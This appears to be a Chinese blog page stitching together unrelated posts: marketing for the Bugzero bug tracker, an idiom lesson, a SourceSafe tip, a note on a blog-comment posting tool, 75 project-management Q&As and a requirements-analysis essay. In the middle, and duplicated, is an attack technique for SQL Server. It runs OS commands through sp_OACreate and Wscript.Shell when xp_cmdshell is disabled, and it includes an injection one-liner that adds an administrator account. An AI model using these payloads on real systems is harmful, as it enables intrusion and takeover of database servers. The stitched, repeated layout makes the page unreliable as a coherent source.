缺陷跟踪系统
    BUGZERO? 是一个多功能，基于网络 (web-based) 并在浏览器 （browser) 下运行的 Bug缺陷管理和跟踪系统，可用来记录，跟踪，并归类处理软件开发过程出现的 Bug 和硬件系统中存在的缺陷（defect）。 BUGZERO 也是一个完整的服务管理软件，包括集成服务台热线流程管理（Help Desk），可用来记录各种日常事务，变更请求，和问题报告，及追踪和处理各种客户讯问，反馈，和意见。
BUGZERO 提供了一个可靠的中央数据库使公司内部团队成员以及外部客户能在任何地点任何时间进行协调和信息交流，并且使任何记录都有据可查。它使你省时省力。BUGZERO 不但使用方便，而且功能齐全，变通性好，能够灵活设置各种实际工作流程，满足你特定的业务和产品环境下的需求。这种灵活、易用的缺陷跟踪流程不仅增强了项目开发的质量，同时也提高了整个机构的生产效率。

BUGZERO 是一发展成熟的软件产品，已在国际市场上流行。它界面的中文汉化，将会更好地为广大的中国客户服务。

BUGZERO 特点  
- 采用标准技术，基于网络，多功能，快速，可靠，好用性好
- 无需在用户终端机器上装任何附加软件，可从网络上任何地方通过HTTP 或SMTP 联接
- 支持网页界面和电子邮件界面，内部网和外部网的用户均可使用
- 使用 Java? 和 J2EE? 技术，服务器可在任何操作系统下安装
- 支持各种数据库系统，基于 SQL92 标准，使用开放型数据库设计，可升级
- 可设置性和多用途,不仅可用做 Bug 跟踪系统，而且可用做集成服务台热线流程管理

- 支持各种自定域数据类型，表格栏目可根据需要添加和删减
- 页面可做个性化调整，如添加公司标志等
- 可同时支持多个项目，设置访问权限，自我注册
- 可设置基于表格栏目域的多层次权限
- 自定义工作流程（对每个项目）
- 自动或手动分配任务负责人
- 可一次附加多个任何类型的文件
- 支持直接屏幕抓图（Screen capture）
- 具有自动自定义电子邮件通知功能
- 可通过电子邮件和文档版本管理软件 (CVS, Perforce) 集成
- 图表报告，高级搜索，自定义常用搜索
- 全面且易读的记录和修改历史
- 快速排序和导出（export)，支持 Unicode 亚洲语系
- 支持目录服务(LDAP/Active Directory) 集成
- 具有自定义电子邮件提醒催单功能 (Reminder)
- 方便的基于网络的系统管理
缺陷跟踪软件工具
  

操作环境及系统要求  
硬件： PC, Mac, Sun, or IBM Servers, 等
操作系统： Windows, Unix, Linux, or Mac OS, 等
服务器端数据库： Oracle, DB2, SQL Server, Sybase, MySQL, PosgreSQL, or Access, 等
服务器端软件： JDK1.3+ 和一个Java? 应用服务器，象 Tomcat, WebLogic, WebSphere, 等
用户端软件： MSIE, Mozilla, FireFox, Opera, or Netscape, 等浏览器

为什么 Bugzero?  
根据国际标准，任何多人软件开发项目都需要一个真正的缺陷跟踪数据库。问题是，在这众多的缺陷跟踪系统中，为什么选择 Bugzero 呢？如果上面所说还没能令你作出决定的话，下面理由也许能说服你：
免费开源软件，象 Bugzilla bug 跟踪系统，GNATS 问题报告系统，或 Debian 缺陷管理系统通常需要花很长时间才能建立起来，也不容易变通调整到你特定的环境(象增加或减少某个表格栏目)，更没有技术支持。如果说时间就是金钱的话，那么，拥有一开源软件的花费很有可能会高于直接买一商业软件。共享软件（Shareware）也许很便宜，但不甚有用，因为它们连一些最基本的功能都没有。 那些大公司出的产品 也许有不少根本用不上的“功能“, 但它们真是太贵了(每用户名$300-$600 美元，而且有奇高的年服务费)。它们也太复杂，混乱，累赘，所以用起来其实很不方便，实在不值。当然，你若用其盗版，那么一但出现问题或故障，你又没有其技术支持，要想解决问题，可就更不容易了。

Bugzero 消除了所有这些问题。它具有所有一个专业缺陷管理和跟踪系统所应有的功能，它功能强大且又简单易用。Bugzero 价格适中，也不需要太高的硬件或软件来配套支持，再加上你在长期使用中将节省的时间，其总体开销是极低的。

最重要的是，Bugzero 是一个稳定成熟的商用软件，其完善的专家技术支持使你高枕无忧。当你遇到问题的时候，再也不需要耗费您几天宝贵时间自己去寻找答案，或去 “forum“ 寻找答案。和那些等数天才有可能回复的大公司不同，我们会在几分钟或最多数小时内给你一个满意的答复，解决你的问题。还有什么比买个安心更重要的呢！

演示，下载，与安装  
货比三家。为了你的方便，我们在我们的服务器安装了全版Bugzero。这样，你无需下载，就可直接登录试用。如果你想进一步了解用来设置用户，项目，流程， 权限，等的系统管理部分，请送 电子邮件或在线注册（请特别注明要看Bugzero的系统管理）。
我们也提供免费下载，这样，你可以在你自己的机器上安装试用。具体安装细节请点击安装指南。如果你决定购买 Bugzero, 请注意价格。

软件开发中的缺陷跟踪与管理  
缺陷包括产品错误，需求和设计变更，新特性或扩展功能（New Feature, Enhancement）等，其跟踪与管理贯穿于整个软件开发生命周期中, 是不可缺少的环节，但在国内一些中小型开发商中没有得到足够得重视。在您的项目中,是否有遇到过这样的问题：测试人员报告的缺陷被遗忘掉；延期项目终于发布，却因缺陷太多而遭用户频频抱怨，管理人员将矛头指向测试人员；书写不规范的错误报告，使得开发人员不得不一次次找到测试人员来面谈；地域分散的开发团队，通过email和文档交流，缺陷状态混乱，相关人员无法及时获得有关的变更信息……
使用缺陷管理软件可解决这一问题。其中心数据库便于项目组和管理人员获取正确、足够的信息，也简化了地域分散的组织的信息共享流程，它还可以实现工作流程的自动化，最大限度减少重复工作。使用缺陷数据库，还可以制作得到各种缺陷分析图表，从而预测项目风险或解释测试结果。

如果您的组织还陷于无穷无尽的混乱不堪的缺陷之中，不要犹豫，马上行动，您会得到意想不到的效果。

Bugzilla是一开源Bug Tracking System，是专门为Unix定制开发的，安装本很困难。在Windows平台下安装，更为困难。(更简单的办法是放弃Bugzilla， 改用Bugzero)

Don’t try to run with the hare and hunt with the hounds!

别想两边讨好！

—————————————————————————————————
　　固定搭配run with the hare and hunt with the hounds或者hold with the hare and run with the hounds字面意思是“跟着兔子跑，跟着狗打猎”，相当于汉语中的“两面讨好”。注意：这个表达中，hare使用的单数，hound使用的复数，这是一个固定的表达，我也不知道为什么。^_^

　　例句：I know how to handle two-faced people and can even tell at the first glance who are in the habit of running with the hare and hunting with the hounds．
　　我知道怎样对付两面派，而且一眼就能看出谁是一贯两面讨好的人。

　　还记得two-faced 吗？参考3月20日的每日一句“I don’t like the two-faced person. 我不喜欢两面派的人。”“两面派”和“两边讨好”还是有小小的不一样的，注意区分。

在SourceSafe安装目录下找SSINT.EXE文件运行一下即可。
如：D:\Program Files\Microsoft Visual Studio\Common\VSS\win32\SSINT.EXE
注：如果一开始安装过SourceSafe 6.0 再安装SourceSafe 2005 ，Visual Basic 就会和SourceSafe 6.0关系起来，只要把SSINT.EXE复制到SourceSafe 2005 的安装目录下再运行一次即可(因为我在SourceSafe 2005 的目录下没找到SSINT.EXE)

——————————————————————
公告栏
———————————
留言板
———————————
看广告玩游戏送QQ币

最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单，只需使用下面的SQL语句：

EXEC master.dbo.xp_cmdshell ‘dir c:\’

但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险，他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名，这时侯许多人也许会放弃，因为我们无法运行任何的cmd命令，很难查看对方计算机的文件、目录、开启的服务，也无法添加NT用户。

对此作过一番研究，后来我发现即使xp_cmdshell不可用了，还是有可能在服务器上运行CMD并得到回显结果的，这里要用到SQL服务器另外的几个系统存储过程：sp_OACreate，sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。
sp_OACreate
在 Microsoft® SQL Server™ 实例上创建 OLE 对象实例。
语法
sp_OACreate progid, | clsid,
      objecttoken OUTPUT
      [ , context ]
sp_OAGetProperty
获取 OLE 对象的属性值。
语法
sp_OAGetProperty objecttoken,
      propertyname
      [, propertyvalue OUTPUT]
      [, index...]
sp_OAMethod
调用 OLE 对象的方法。
语法
sp_OAMethod objecttoken,
      methodname
      [, returnvalue OUTPUT]
      [ , [ @parametername = ] parameter [ OUTPUT ]
      [...n]]

思路：

先在SQL Server 上建立一个Wscript.Shell，调用其run Method，将cmd.exe执行的结果输出到一个文件中，然后再建立一个Scripting.FileSystemObject，通过它建立一个TextStream对象，读出临时文件中的字符，一行一行的添加到一个临时表中。

以下是相应的SQL语句

CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate ‘wscript.shell’,@shell output
EXEC sp_oamethod @shell,’run’,null,’cmd.exe /c dir c:\>c:\temp.txt’,'0′,’true’
–注意run的参数true指的是将等待程序运行的结果，对于类似ping的长时间命令必需使用此参数。

EXEC sp_oacreate ’scripting.filesystemobject’,@fso output
EXEC sp_oamethod @fso,’opentextfile’,@file out,’c:\temp.txt’
–因为fso的opentextfile方法将返回一个textstream对象，所以此时@file是一个对象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,’Readline’,@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,’AtEndOfStream’,@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP

注意：
如果你在进行注入测试时使用这种方法就不能有这样多的换行，必须把它们合为一行，每个语句中间用空格符隔开。

我来给大家一个思路吧：

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net localgroup administrators sohu /add’–

先在SQL Server 上建立一个Wscript.Shell，调用其run Method，将cmd.exe执行的结果输出到一个文件中，然后再建立一个Scripting.FileSystemObject，通过它建立一个TextStream对象，读出临时文件中的字符，一行一行的添加到一个临时表中。

以下是相应的SQL语句

CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate ‘wscript.shell’,@shell output
EXEC sp_oamethod @shell,’run’,null,’cmd.exe /c dir c:\>c:\temp.txt’,'0′,’true’
–注意run的参数true指的是将等待程序运行的结果，对于类似ping的长时间命令必需使用此参数。

EXEC sp_oacreate ’scripting.filesystemobject’,@fso output
EXEC sp_oamethod @fso,’opentextfile’,@file out,’c:\temp.txt’
–因为fso的opentextfile方法将返回一个textstream对象，所以此时@file是一个对象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,’Readline’,@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,’AtEndOfStream’,@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP

注意：
如果你在进行注入测试时使用这种方法就不能有这样多的换行，必须把它们合为一行，每个语句中间用空格符隔开。

我来给大家一个思路吧：

新版本已经写好，但还有一些BUG，这次是用Visual Basic 6.0写的，只有系统中安装了IE7才可以使用，这次的软件也不用安装，文件非常小压缩后只有64K，而且还可以自定义刷新时间。这次不但支持hi.baidu，还支持blog.sina 和　blog.sohu.软件名暂定BlogKing(经过一段时间的测试，百度和新浪比较稳定，sohu 不稳定)

旧版本不再提供下载,请下载百度空间留言助手

________________

注：软件只是供大家学习,欢迎报告BUG

——————————

1. 你们的项目组使用源代码管理工具了么？
MVM：应该用。VSS、CVS、PVCS、ClearCase、CCC/Harvest、FireFly都可以。我的选择是VSS。

2. 你们的项目组使用缺陷管理系统了么？
MVM：应该用。ClearQuest太复杂，我的推荐是BugZilla。

3. 你们的测试组还在用Word写测试用例么？
MVM：不要用Word写测试用例（Test Case）。应该用一个专门的系统，可以是Test Manager，也可以是自己开发一个ASP.NET的小网站。主要目的是Track和Browse。

4. 你们的项目组有没有建立一个门户网站？
MVM：要有一个门户网站，用来放Contact Info、Baselined Schedule、News等等。推荐Sharepoint Portal Server 2003来实现，15分钟就搞定。买不起SPS 2003可以用WSS (Windows Sharepoint Service)。

5. 你们的项目组用了你能买到最好的工具么？
MVM：应该用尽量好的工具来工作。比如，应该用VS.NET而不是Notepad来写C#。用Notepad写程序多半只是一种炫耀。但也要考虑到经费，所以说是“你能买到最好的”。

6. 你们的程序员工作在安静的环境里么？
MVM：需要安静环境。这点极端重要，而且要保证每个人的空间大于一定面积。

7. 你们的员工每个人都有一部电话么？
MVM：需要每人一部电话。而且电话最好是带留言功能的。当然，上这么一套带留言电话系统开销不小。不过至少每人一部电话要有，千万别搞得经常有人站起来喊：“某某某电话”。《人件》里面就强烈谴责这种做法。

8. 你们每个人都知道出了问题应该找谁么？
MVM：应该知道。任何一个Feature至少都应该有一个Owner，当然，Owner可以继续Dispatch给其他人。

9. 你遇到过有人说“我以为…”么？
MVM：要消灭“我以为”。Never assume anything。

10. 你们的项目组中所有的人都坐在一起么？
MVM：需要。我反对Virtual Team，也反对Dev在美国、Test在中国这种开发方式。能坐在一起就最好坐在一起，好处多得不得了。

11. 你们的进度表是否反映最新开发进展情况？
MVM：应该反映。但是，应该用Baseline的方法来管理进度表：维护一份稳定的Schedule，再维护一份最新更改。Baseline的方法也应该用于其它的Spec。Baseline是变更管理里面的一个重要手段。

12. 你们的工作量是先由每个人自己估算的么？
MVM：应该让每个人自己估算。要从下而上估算工作量，而不是从上往下分派。除非有其他原因，比如政治任务工期固定等。

13. 你们的开发人员从项目一开始就加班么？
MVM：不要这样。不要一开始就搞疲劳战。从项目一开始就加班，只能说明项目进度不合理。当然，一些对日软件外包必须天天加班，那属于剥削的范畴。

14. 你们的项目计划中Buffer Time是加在每个小任务后面的么？
MVM：不要。Buffer Time加在每个小任务后面，很容易轻易的就被消耗掉。Buffer Time要整段的加在一个Milestone或者checkpoint前面。

15. 值得再多花一些时间，从95%做到100%好
MVM：值得，非常值得。尤其当项目后期人困马乏的时候，要坚持。这会给产品带来质的区别。

16. 登记新缺陷时，是否写清了重现步骤？
MVM：要。这属于Dev和Test之间的沟通手段。面对面沟通需要，详细填写Repro Steps也需要。

17. 写新代码前会把已知缺陷解决么？
MVM：要。每个人的缺陷不能超过10个或15个，否则必须先解决老的bug才能继续写新代码。

18. 你们对缺陷的轻重缓急有事先的约定么？
MVM：必须有定义。Severity要分1、2、3，约定好：蓝屏和Data Lost算Sev 1，Function Error算Sev 2，界面上的算Sev 3。但这种约定可以根据产品质量现状适当进行调整。

19. 你们对意见不一的缺陷有三国会议么？
MVM：必须要有。要有一个明确的决策过程。这类似于CCB (Change Control Board)的概念。

20. 所有的缺陷都是由登记的人最后关闭的么？
MVM：Bug应该由Opener关闭。Dev不能私自关闭Bug。

21. 你们的程序员厌恶修改老的代码么？
MVM：厌恶是正常的。解决方法是组织Code Review，单独留出时间来。XP也是一个方法。

22. 你们项目组有Team Morale Activity么？
MVM：每个月都要搞一次，吃饭、唱歌、Outing、打球、开卡丁车等等，一定要有。不要剩这些钱。

23. 你们项目组有自己的Logo么？
MVM：要有自己的Logo。至少应该有自己的Codename。

24. 你们的员工有印有公司Logo的T-Shirt么？
MVM：要有。能增强归属感。当然，T-Shirt要做的好看一些，最好用80支的棉来做。别没穿几次就破破烂烂的。

25. 总经理至少每月参加次项目组会议
MVM：要的。要让team member觉得高层关注这个项目。

26. 你们是给每个Dev开一个分支么？
MVM：反对。Branch的管理以及Merge的工作量太大，而且容易出错。

27. 有人长期不Check-In代码么？
MVM：不可以。对大部分项目来说，最多两三天就应该Check-In。

28. 在Check-In代码时都填写注释了么？
MVM：要写的，至少一两句话，比如“解决了Bug No.225”。如果往高处拔，这也算做“配置审计”的一部分。

29. 有没有设定每天Check-In的最后期限？
MVM：要的，要明确Check-In Deadline。否则会Build Break。

30. 你们能把所有源码一下子编译成安装文件吗？
MVM：要的。这是每日编译（Daily Build）的基础。而且必须要能够做成自动的。

31. 你们的项目组做每日编译么？
MVM：当然要做。有三样东西是软件项目/产品开发必备的：1. bug management; 2. source control; 3. daily build。

32. 你们公司有没有积累一个项目风险列表？
MVM：要。Risk Inventory。否则，下个项目开始的时候，又只能拍脑袋分析Risk了。

33. 设计越简单越好
MVM：越简单越好。设计时候多一句话，将来可能就带来无穷无尽的烦恼。应该从一开始就勇敢的砍。这叫scope management。

34. 尽量利用现有的产品、技术、代码
MVM：千万别什么东西都自己Coding。BizTalk和Sharepoint就是最好的例子，有这两个作为基础，可以把起点提高很多。或者可以尽量多用现成的Control之类的。或者尽量用XML，而不是自己去Parse一个文本文件；尽量用RegExp，而不是自己从头操作字符串，等等等等。这就是“软件复用”的体现。

35. 你们会隔一段时间就停下来夯实代码么？
MVM：要。最好一个月左右一次。传言去年年初Windows组在Stevb的命令下停过一个月增强安全。Btw，“夯”这个字念“hang”，第一声。

36. 你们的项目组每个人都写Daily Report么？
MVM：要写。五分钟就够了，写10句话左右，告诉自己小组的人今天我干了什么。一则为了沟通，二则鞭策自己（要是游手好闲一天，自己都会不好意思写的）。

37. 你们的项目经理会发出Weekly Report么？
MVM：要。也是为了沟通。内容包括目前进度，可能的风险，质量状况，各种工作的进展等。

38. 你们项目组是否至少每周全体开会一次？
MVM：要。一定要开会。程序员讨厌开会，但每个礼拜开会时间加起来至少应该有4小时。包括team meeting, spec review meeting, bug triage meeting。千万别大家闷头写code。

39. 你们项目组的会议、讨论都有记录么？
MVM：会前发meeting request和agenda，会中有人负责主持和记录，会后有人负责发meeting minutes，这都是effective meeting的要点。而且，每个会议都要形成agreements和action items。

40. 其他部门知道你们项目组在干什么么？
MVM：要发一些Newsflash给整个大组织。Show your team’s value。否则，当你坐在电梯里面，其他部门的人问：“你们在干嘛”，你回答“ABC项目”的时候，别人全然不知，那种感觉不太好。

41. 通过Email进行所有正式沟通
MVM：Email的好处是免得抵赖。但也要避免矫枉过正，最好的方法是先用电话和当面说，然后Email来确认。

42. 为项目组建立多个Mailing Group
MVM：如果在AD+Exchange里面，就建Distribution List。比如，我会建ABC Project Core Team，ABC Project Dev Team，ABC Project All Testers，ABC Project Extended Team等等。这样发起Email来方便，而且能让该收到email的人都收到、不该收到不被骚扰。

43. 每个人都知道哪里可以找到全部的文档么？
MVM：应该每个人都知道。这叫做知识管理（Knowledge Management）。最方便的就是把文档放在一个集中的File Share，更好的方法是用Sharepoint。

44. 你做决定、做变化时，告诉大家原因了么？
MVM：要告诉大家原因。Empower team member的手段之一是提供足够的information，这是MSF一开篇的几个原则之一。的确如此，tell me why是人之常情，tell me why了才能有understanding。中国人做事喜欢搞限制，限制信息，似乎能够看到某一份文件的人就是有身份的人。大错特错。权威、权力，不在于是不是能access information/data，而在于是不是掌握资源。

45. Stay agile and expect change
MVM：要这样。需求一定会变的，已经写好的代码一定会被要求修改的。做好心理准备，对change不要抗拒，而是expect change。

46. 你们有没有专职的软件测试人员？
MVM：要有专职测试。如果人手不够，可以peer test，交换了测试。千万别自己测试自己的。

47. 你们的测试有一份总的计划来规定做什么和怎么做么？
MVM：这就是Test Plan。要不要做性能测试？要不要做Usability测试？什么时候开始测试性能？测试通过的标准是什么？用什么手段，自动的还是手动的？这些问题需要用Test Plan来回答。

48. 你是先写Test Case然后再测试的么？
MVM：应该如此。应该先设计再编程、先test case再测试。当然，事情是灵活的。我有时候在做第一遍测试的同时补上test case。至于先test case再开发，我不喜欢，因为不习惯，太麻烦，至于别人推荐，那试试看也无妨。

49. 你是否会为各种输入组合创建测试用例？
MVM：不要，不要搞边界条件组合。当心组合爆炸。有很多test case工具能够自动生成各种边界条件的组合――但要想清楚，你是否有时间去运行那么多test case。

50. 你们的程序员能看到测试用例么？
MVM：要。让Dev看到Test Case吧。我们都是为了同一个目的走到一起来的：提高质量。

51. 你们是否随便抓一些人来做易用性测试？
MVM：要这么做。自己看自己写的程序界面，怎么看都是顺眼的。这叫做审美疲劳――臭的看久了也就不臭了，不方便的永久了也就习惯了。

52. 你对自动测试的期望正确么？
MVM：别期望太高。依我看，除了性能测试以外，还是暂时先忘掉“自动测试”吧，忘掉WinRunner和LoadRunner吧。对于国内的软件测试的现状来说，只能“矫枉必须过正”了。

53. 你们的性能测试是等所有功能都开发完才做的么？
MVM：不能这样。性能测试不能被归到所谓的“系统测试”阶段。早测早改正，早死早升天。

54. 你注意到测试中的杀虫剂效应了么？
MVM：虫子有抗药性，Bug也有。发现的新Bug越来越少是正常的。这时候，最好大家交换一下测试的area，或者用用看其他工具和手法，就又会发现一些新bug了。

55. 你们项目组中有人能说出产品的当前整体质量情况么？
MVM：要有。当老板问起这个产品目前质量如何，Test Lead/Manager应该负责回答。

56. 你们有单元测试么？
MVM：单元测试要有的。不过没有单元测试也不是不可以，我做过没有单元测试的项目，也做成功了――可能是侥幸，可能是大家都是熟手的关系。还是那句话，软件工程是非常实践、非常工程、非常灵活的一套方法，某些方法在某些情况下会比另一些方法好，反之亦然。

57. 你们的程序员是写完代码就扔过墙的么？
MVM：大忌。写好一块程序以后，即便不做单元测试，也应该自己先跑一跑。虽然有了专门的测试人员，做开发的人也不可以一点测试都不做。微软还有Test Release Document的说法，程序太烂的话，测试有权踢回去。

58. 你们的程序中所有的函数都有输入检查么？
MVM：不要。虽然说做输入检查是write secure code的要点，但不要做太多的输入检查，有些内部函数之间的参数传递就不必检查输入了，省点功夫。同样的道理，未必要给所有的函数都写注释。写一部分主要的就够了。

59. 产品有统一的错误处理机制和报错界面么？
MVM：要有。最好能有统一的error message，然后每个error message都带一个error number。这样，用户可以自己根据error number到user manual里面去看看错误的具体描述和可能原因，就像SQL Server的错误那样。同样，ASP.NET也要有统一的Exception处理。可以参考有关的Application Block。

60. 你们有统一的代码书写规范么？
MVM：要有。Code Convention很多，搞一份来发给大家就可以了。当然，要是有FxCop这种工具来检查代码就更好了。

61. 你们的每个人都了解项目的商业意义么？
MVM：要。这是Vision的意思。别把项目只当成工作。有时候要想着自己是在为中国某某行业的信息化作先驱者，或者时不时的告诉team member，这个项目能够为某某某国家部门每年节省多少多少百万的纳税人的钱，这样就有动力了。平凡的事情也是可以有个崇高的目标的。

62. 产品各部分的界面和操作习惯一致么？
MVM：要这样。要让用户觉得整个程序好像是一个人写出来的那样。

63. 有可以作为宣传亮点的Cool Feature么？
MVM：要。这是增强团队凝聚力、信心的。而且，“一俊遮百丑”，有亮点就可以掩盖一些问题。这样，对于客户来说，会感觉产品从质量角度来说还是acceptable的。或者说，cool feature或者说亮点可以作为质量问题的一个事后弥补措施。

64. 尽可能缩短产品的启动时间
MVM：要这样。软件启动时间（Start-Up time）是客户对性能好坏的第一印象。

65. 不要过于注重内在品质而忽视了第一眼的外在印象
MVM：程序员容易犯这个错误：太看重性能、稳定性、存储效率，但忽视了外在感受。而高层经理、客户正相反。这两方面要兼顾，协调这些是PM的工作。

66. 你们根据详细产品功能说明书做开发么？
MVM：要这样。要有设计才能开发，这是必须的。设计文档，应该说清楚这个产品会怎么运行，应该采取一些讲故事的方法。设计的时候千万别钻细节，别钻到数据库、代码等具体实现里面去，那些是后面的事情，一步步来不能着急。

67. 开始开发和测试之前每个人都仔细审阅功能设计么？
MVM：要做。Function Spec review是用来统一思想的。而且，review过以后形成了一致意见，将来再也没有人可以说“你看，当初我就是反对这么设计的，现在吃苦头了吧”

68. 所有人都始终想着The Whole Image么？
MVM：要这样。项目里面每个人虽然都只是在制造一片叶子，但每个人都应该知道自己在制造的那片叶子所在的树是怎么样子的。我反对软件蓝领，反对过分的把软件制造看成流水线、车间。参见第61条。

69. Dev工作的划分是单纯纵向或横向的么？
MVM：不能单纯的根据功能模块分，或者单纯根据表现层、中间层、数据库层分。我推荐这么做：首先根据功能模块分，然后每个“层”都有一个Owner来Review所有人的设计和代码，保证consistency。

70. 你们的程序员写程序设计说明文档么？
MVM：要。不过我听说微软的程序员1999年以前也不写。所以说，写不写也不是绝对的，偷懒有时候也是可以的。参见第56条。

71. 你在招人面试时让他写一段程序么？
MVM：要的。我最喜欢让人做字符串和链表一类的题目。这种题目有很多循环、判断、指针、递归等，既不偏向过于考算法，也不偏向过于考特定的API。

72. 你们有没有技术交流讲座？
MVM：要的。每一两个礼拜搞一次内部的Tech Talk或者Chalk Talk吧。让组员之间分享技术心得，这笔花钱送到外面去培训划算。

73. 你们的程序员都能专注于一件事情么？
MVM：要让程序员专注一件事。例如说，一个部门有两个项目和10个人，一种方法是让10个人同时参加两个项目，每个项目上每个人都花50%时间；另一种方法是5个人去项目A，5个人去项目B，每个人都100%在某一个项目上。我一定选后面一种。这个道理很多人都懂，但很多领导实践起来就把属下当成可以任意拆分的资源了。

74. 你们的程序员会夸大完成某项工作所需要的时间么？
MVM：会的，这是常见的，尤其会在项目后期夸大做某个change所需要的时间，以次来抵制change。解决的方法是坐下来慢慢磨，磨掉程序员的逆反心理，一起分析，并把估算时间的颗粒度变小。

75. 尽量不要用Virtual Heads
MVM：最好不要用Virtual Heads。Virtual heads意味着resource is not secure，shared resource会降低resource的工作效率，容易增加出错的机会，会让一心二用的人没有太多时间去review spec、review design。一个dedicated的人，要强过两个只能投入50%时间和精力的人。我是吃过亏的：7个part time的tester，发现的Bug和干的活，加起来还不如两个full-time的。参见第73条。73条是针对程序员的，75条是针对Resource Manager的。

本文以某个IT产品销售公司的信息系统项目的开发为背景，讨论了一个信息系统需求分析的整个过程，其重要特征是：所涉及的项目是原有系统的一个升级替换版本…  
  
   　　本文以某个IT产品销售公司的信息系统项目的开发为背景，讨论了一个信息系统需求分析的整个过程，其重要特征是：所涉及的项目是原有系统的一个升级替换版本。因此，需求分析过程不同于建立一个全新的系统，大体上可分为三个阶段：（）实施逆向工程获得对系统的初步了解；（2）在第1步的基础上写出基本需求，交由客户评审补充；（3）在第2步的基础上开发原型，利用原型与客户交流，最终获得基线需求。针对上述三个阶段，本文论述了所使用的分析方法与工具以及所遇到过的一些典型问题和措施，最后对需求分析中使用的工具，谈一些自己的初步体会。

　　我于1998年8月至2000年7月参加了某个大型集团的企业信息系统的开发工作，该大型集团的业务主要涉及到IT类产品的进销存。本人在项目中负责系统分析的工作，该集团企业原先已委托某个电脑公司开发过一套IT类产品管理系统，但是该老系统存在两个主要的问题：（一）系统运行速度非常慢，如商品销售开单时，从确定开单到开单完成有时需要1～2分钟左右的响应时间，让客户无法忍受。（二）系统数据不准确，经常出现实物库存与电脑库存严重不相匹配的情况，使销售数据的统计产生一些混乱，有关财务的数据因此无法有效使用，只能采用人工录入方式补充进行。在这种情况下，该集团的总经理决定参考原有系统重新开发一个系统，以便解决原系统所存在的上述两个难以克服的难题。注；原系统采用PB6.5开发，数据库采用SYBASE，服务器采用Windows2000Server，客户端采用Windows 98，程序架构采用的是传统的C/S结构。

　　鉴于该集团业务操作复杂，流程多，涉及人员多等特点，以及项目完成时间短，经费有限，人员有限等限制约束条件，再考虑到必须避免前一系统出现过的结构混乱与难于维护等问题，我们决定要对原系统的需求做一个比较彻底的和切实可行的分析，由于原有系统已经开发了近两年，并且客户也有了一定的使用经验，业务基本流程本身也并没有太大的变化，因此，我们把需求分析的过程分为三步：（）分析原有系统的结构，主要是数据库结构和程序结构，（2）在获得第（1）步结果的基础上写出基本需求，交由客户评审补充，（3）在第（2）步的基础上开发原型，利用此原型与客户交流，从而获得最终可用的需求结果。下面按上述三步分别加以论述。

　　第一步是实施逆向工程，获取原有系统的基本需求

　　由于原有系统在功能上大体上能基本满足客户的需求，并且在两年多的开发中也积累了不少经验，因此，从中可以获得一些有益的参考，也可以避免多走弯路。在这一阶段，我们采用的主要工具是PB自带的Power Designer和PB Documents；前者主要用来分析数据库结构，后者主要用来分析程序结构，便于开发人员与高级用户理解程序。采用这两个工具的原因是：原系统过于庞大，模块多，数据库模式多，表格量很大，仅靠人工的方法很难从中获得一个比较完整的、明确的系统结构以及整体构成，而且原有系统未能提供一套正确完整有效的设计文档，于是我们只能依靠工具辅助来进行。在使用Power Designer分析数据库，并且用PB Documents分析原程序中的PBL以后，我们对原系统的结构有了一个初步的了解，再结合对原系统的使用，基本明确了功能与流程的需求，并在此基础上用人工录入方式，产生了初步需求的自然语言文档。这里指出，使用Power Designer的一个不足之处是：如果一个表中的字段过多，而且又同时依赖多个表时，输出的表格相关图形很复杂，有很多交叉，且难于调整，不方便阅读及打印。

　　第二步是在第一步的基础上进行的，即写出系统基本需求，交由客户评审和补充

　　通过第一步的逆向工程，我们获得了系统的基本需求。为了充分记录需求的变化及需求之间的依赖关系，我们决定选用Rational公司的Requisite PRO作为我们的需求管理工具，Rational公司有一整套用于需求管理的工具，功能非常强大，包括Requisite Pro、Clear Quest等等，这些需求分析工具可以对需求进行全面的管理，包括记录需求的变化情况，需求之间的依赖关系等等。但是，我们考虑到Rational的一套工具全面实施会非常昂贵与复杂，需要非常强的项目管理能力才能全面实施，因此，我们只采用了其中最简单的一部分功能，那就是记录需求变更，记录需求之间的依赖关系，其他跟RUP有关的功能都给略去了。之所以这样做，主要是考虑到项目的经费、人力以及国内软件开发的实际情况。正如前面所说，我们根据自己的理解并写出基本需求后，交由客户做评审井做适当补充，我们将经过补充整理后的需求作为正式需求记录入Requisite Pro所维护的数据库中，并对各个需求进行分类，设定优先级等，这些工作完成后，就可以从数据库中直观地了解客户到现在为止提出了哪些需求，哪些需求是必须优先考虑的，哪些是难度较大的等等。  

　　在这个过程中，我们遇到了一些问题，譬如：用户对我们用自然语言书写的需求文档有许多地方不理解，往往在花了较长时间阅读之后，仍不明白我们所描写的需求过程与他们所完成的业务之间的对应关系；另外是由于首次采用Requisite Pro进行需求管理，在类型划分，属性值的确定上，部分开发人员没有经验，造成了不少反复，对于前者，我们的方法是想办法增加一些示意图，将大的流程分解为小流程，再与客户反复交流与沟通，最终达到双方理解一致的目的。对第二个问题，则参考了一些例子，再结合实际中属性的使用情况，给予取舍或者选择，经过这一阶段的工作，我们建立了基本的需求库，定出了基本需求规格说明。

　　第三步则是在第二步的基础上建立起原型，利用原型与客户进行更深入的交流，通过交流修改相应的需求

